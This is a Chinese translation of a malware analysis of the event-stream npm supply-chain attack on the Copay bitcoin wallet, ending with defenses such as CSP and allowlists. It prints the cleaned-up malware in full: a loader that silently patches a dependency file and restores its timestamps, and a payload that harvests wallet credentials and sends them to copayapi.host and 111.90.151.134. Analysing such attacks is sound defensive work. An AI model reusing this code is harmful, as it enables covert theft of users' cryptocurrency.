1. 程式人生 > >[譯] 被汙染的 npm 包:event-stream

[譯] 被汙染的 npm 包:event-stream

一個著名的 npm 包 event-stream 的作者,將其轉讓給了一個惡意使用者 right9ctrl。這個包每個月有超過 150萬 次下載,同時其被 1,600 個其它的 npm 包依賴。惡意使用者通過持續地向這個包貢獻程式碼來獲得了其原作者的信任。這個 npm 包由惡意使用者釋出的第一個版本時間是 2018 年 9 月 4 日。

惡意使用者修改了 event-stream,讓其依賴了一個惡意 npm 包 flatmap-stream。這個 npm 包是專門針對這次攻擊所製作的。它包括了一個相當簡單的 index.js 檔案,同時也有一個壓縮版的 index.min.js 檔案。在 GitHub 上,這兩個檔案看起來完全沒問題。然而,在 npm 上發行的程式碼並沒有被要求與 git 倉庫中所儲存的程式碼相同。

這個被插入到 event-stream 中的惡意 npm 包在 10 月 20 日被其他使用者發現並在 dominictarr/event-stream#116 中曝光。這個 issue 在惡意 npm 包釋出兩個月後才被建立。開源軟體的一大好處是能夠集眾多開發者之力,但這並不是毫無壞處的。例如 OpenSSL,這個開源專案有著幾乎最嚴格的程式碼審查,但是其仍然有許多不足之處,例如 Heartbleed 漏洞(譯者注:可參考

heartbleed.com/ )。

惡意 npm 包做了什麼?

該惡意 npm 包是一種針對性很強的攻擊。它最終會對一個開源 App bitpay/copay 發起攻擊。該 App 的 README 中提到:Copay 是一個支援桌面端和移動端的安全比特幣錢包平臺。我們知道惡意 npm 包只針對這個應用是因為其會讀取專案 package.json 檔案中的 description 欄位,並用其去解碼一個 AES256 加密的程式碼段。

對於其他專案, description 欄位不能夠用於給加密程式碼段解密,之後 hack 操作將會悄悄終止。 而 bitpay/copay的 description 欄位

,也就是 A Secure Bitcoin Wallet,是解密這些資料(加密程式碼段)的key。

flatmap-stream 這個包巧妙地將資料隱藏在了 test 資料夾中。這個資料夾在 GitHub 不可見但卻出現在了實際的 flatmap-stream-0.1.1.tgz 包中。這些加密的資料以一個數組的形式儲存,資料的每一部分都被壓縮及混淆過,同時也以不同的引數進行了加密。一部分加密的資料包括了一些會被靜態資料統計工具警告為惡意行為的方法名,例如 _compile 這個在 require 中意味著建立一個新 Module 的字串。在下面兩段示例程式碼中,我盡我所能去清理了這些檔案讓程式碼更易讀。

這是第一部分。它不怎麼有意思,最有可能出現於一個 bootstrap 內的函式來用於引入第二段程式碼。它看起來是通過修改子模組中的一個名為 ReedSolomonDecoder.js 的子模組來使用的。如果該檔案中已經有了 /*@@*/ 這個字串,那麼它就什麼都不做。如果尚未對其進行修改,那麼它不僅會修改檔案,還會將訪問許可權和修改後的時間戳替換為原來的值。這樣做的話,當你看你磁碟中的檔案時,你就不會注意到它已經被修改了。

/*@@*/
module.exports = function (e) {
  try {
    if (!/build\:.*\-release/.test(process.argv[2])) return;
    var desc = process.env.npm_package_description;
    var fs = require("fs");
    var decoderPath = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js";
    var decoderStat = fs.statSync(decoderPath);
    var decoderSource = fs.readFileSync(decoderPath, "utf8");
    var decipher = require("crypto").createDecipher("aes256", desc);
    var s = decipher.update(e, "hex", "utf8");
    s = "\n" + (s += decipher.final("utf8"));
    var a = decoderSource.indexOf("\n/*@@*/");
    if (0 <= a) {
      (decoderSource = decoderSource.substr(0, a));
      fs.writeFileSync(decoderPath, decoderSource + s, "utf8");
      fs.utimesSync(decoderPath, decoderStat.atime, decoderStat.mtime);
      process.on("exit", function () {
        try {
          fs.writeFileSync(decoderPath, decoderSource, "utf8");
          fs.utimesSync(decoderPath, decoderStat.atime, decoderStat.mtime);
        } catch (err) {}
      });
    }
  } catch (err) {}
};
複製程式碼

第二部分就更有趣了。我將一些多餘的程式碼段被刪掉了,來凸顯出其原意圖:

/*@@*/
function doBadStuff() {
  try {
    const http = require("http");
    const crypto = require("crypto");
    const publicKey = "-----BEGIN PUBLIC KEY-----\n...TRUNCATED...\n-----END PUBLIC KEY-----";

    function sendRequest(hostname, path, body) {
      // Original request "decodes" a hex representation of the hostnames
      // hostname = Buffer.from(hostname, "hex").toString();

      const req = http.request({
        hostname: hostname,
        port: 8080,
        method: "POST",
        path: "/" + path, // path will be /p or /c
        headers: {
          "Content-Length": body.length,
          "Content-Type": "text/html"
        }
      }, function() {});

      req.on("error", function(err) {});

      req.write(body);

      req.end();
    }

    function sendRequests(path, rawStringPayload) {
      // path = "c" || "p"
      let payload = "";
      for (let i = 0; i < rawStringPayload.length; i += 200) {
        const chunk = rawStringPayload.substr(i, 200);
        payload += crypto.publicEncrypt(
          publicKey,
          Buffer.from(chunk, "utf8")
        ).toString("hex") + "+";
      }

      sendRequest("copayapi.host", path, payload);
      sendRequest("111.90.151.134", path, payload);
    }

    function getDataFromStorage(name, callback) {
      if (window.cordova) {
        try {
          const dd = cordova.file.dataDirectory;
          resolveLocalFileSystemURL(dd, function(localFs) {
            localFs.getFile(name, {
              create: false
            }, function(file) {
              file.file(function(contents) {
                const fileReader = new FileReader;
                fileReader.onloadend = function() {
                  return callback(JSON.parse(fileReader.result))
                };
                fileReader.onerror = function(err) {
                  fileReader.abort()
                };
                fileReader.readAsText(contents)
              })
            })
          })
        } catch (err) {}
      } else {
        try {
          const data = localStorage.getItem(name);

          if (data) {
            return callback(JSON.parse(data));
          }

          chrome.storage.local.get(name, function(entry) {
            if (entry) {
              return callback(JSON.parse(entry[name]));
            }
          })
        } catch (err) {}
      }
    }

    global.CSSMap = {};

    getDataFromStorage("profile", function(data) {
      for (let credential in data.credentials) {
        const creds = data.credentials[credential];
        if ("livenet" == creds.network) {
          getDataFromStorage("balanceCache-" + creds.walletId, function(data) {
            const self = this;
            self.balance = parseFloat(data.balance.split(" ")[0]);

            if ("btc" == self.coin && self.balance < 100 || "bch" == self.coin && self.balance < 1000) {
              global.CSSMap[self.xPubKey] = true;
            }

            sendRequests("c", JSON.stringify(self));
          }.bind(creds))
        }
      }
    });

    const Credentials = require("bitcore-wallet-client/lib/credentials.js");
    // Intercept the getKeys function in the Credentails class
    Credentials.prototype.getKeysFunc = Credentials.prototype.getKeys;
    Credentials.prototype.getKeys = function(keyLookup) {
      const originalResult = this.getKeysFunc(keyLookup);
      try {
        if (global.CSSMap && global.CSSMap[this.xPubKey]) {
          delete global.CSSMap[this.xPubKey];
          sendRequests("p", keyLookup + "\t" + this.xPubKey);
        }
      } catch (err) {}

      return originalResult;
    }
  } catch (err) {}
}

// Run as soon as ready
window.cordova
  ? document.addEventListener("deviceready", doBadStuff)
  : doBadStuff()
複製程式碼

這個檔案像是個 bitcore-wallet-client 包打了猴子補丁,特別是 Credentials 類的 getKeys 方法,它備份了原有函式,然後將錢包內的憑證傳到第三方伺服器。這個伺服器位於 111.90.151.134。這些憑證可能被用來獲取使用者賬戶的訪問許可權,然後允許攻擊者從原賬戶主那裡竊取資金。

這個 npm 包在企圖避免偵測上做了很多事情。例如,它不會在使用測試的比特幣網路即 testnet 上執行,它只會在實際的比特幣網路 livenet 中執行。如果受感染的應用在做網路測試,這將會避免其被發現。它同時只會在被打包成 release 版本時執行安裝載入程式(譯者注:即上文中第一段程式碼,載入惡意程式碼)。它通過檢視 process.argv 中的第一個引數來使用正則表示式 /build\:.*\-release/ 進行匹配,如果沒有匹配到,那這次流程就可能是被某類 build server 運作的。

如何防禦這次攻擊?

通過使用靜態分析工具來掃描 npm 包可能是個很棒的想法。但此次攻擊對惡意的原始碼進行了加密以避免被檢測到。為了防止這種攻擊,我們必須採取其他的的方法...

這次特定攻擊看起來可以同時在傳統 web 頁面和通過 Cordova(一個將 web App 打包成移動端 App 的工具)構建的 App 中執行。我們已經發現了這次攻擊可以通過使用 CSP (Content Security Policy) 來阻止。這是用來指定頁面可以與哪些 url 通訊並將這些設定通過 web 伺服器響應頭來指定的標準。Cordova 甚至有其自身的方法 mechanism 來指定哪些第三方服務可以使用。然而,Copay App 似乎禁用了這個特性

CSP 可以有效地保證前端頁面的安全。然而,這個特性沒有被內建在 Node.js 中。Intrinsic 這個 Node.js 包提供了讓你可以設定你 App 通訊 URL 白名單的功能——這很像 CSP ——而且其可以幹更多事情。Intrinsic 可以被用來設定檔案系統白名單、子程序白名單、process 的細分節點、TCP 和 UDP 連線甚至是細粒度的資料庫訪問。這些白名單是建立在每條請求路由的,這使得其比防火牆更加強大。

有趣的是,這次在 event-stream 中發生的攻擊中,攻擊者用猴子補丁的方式修改了系統關鍵函式來實現其向惡意伺服器傳送 HTTP 請求的目的,這正好是我們之前的這篇文章中所警示的:The Dangers of Malicious Modules。隨著時間的推移,這些基於程式碼依賴鏈的攻擊只會越來越頻繁。這種高針對性的攻擊(例如這次針對 Copay 的)也會變得越來越普遍。

如果發現譯文存在錯誤或其他需要改進的地方,歡迎到 掘金翻譯計劃 對譯文進行修改並 PR,也可獲得相應獎勵積分。文章開頭的 本文永久連結 即為本文在 GitHub 上的 MarkDown 連結。


掘金翻譯計劃 是一個翻譯優質網際網路技術文章的社群,文章來源為 掘金 上的英文分享文章。內容覆蓋 AndroidiOS前端後端區塊鏈產品設計人工智慧等領域,想要檢視更多優質譯文請持續關注 掘金翻譯計劃官方微博知乎專欄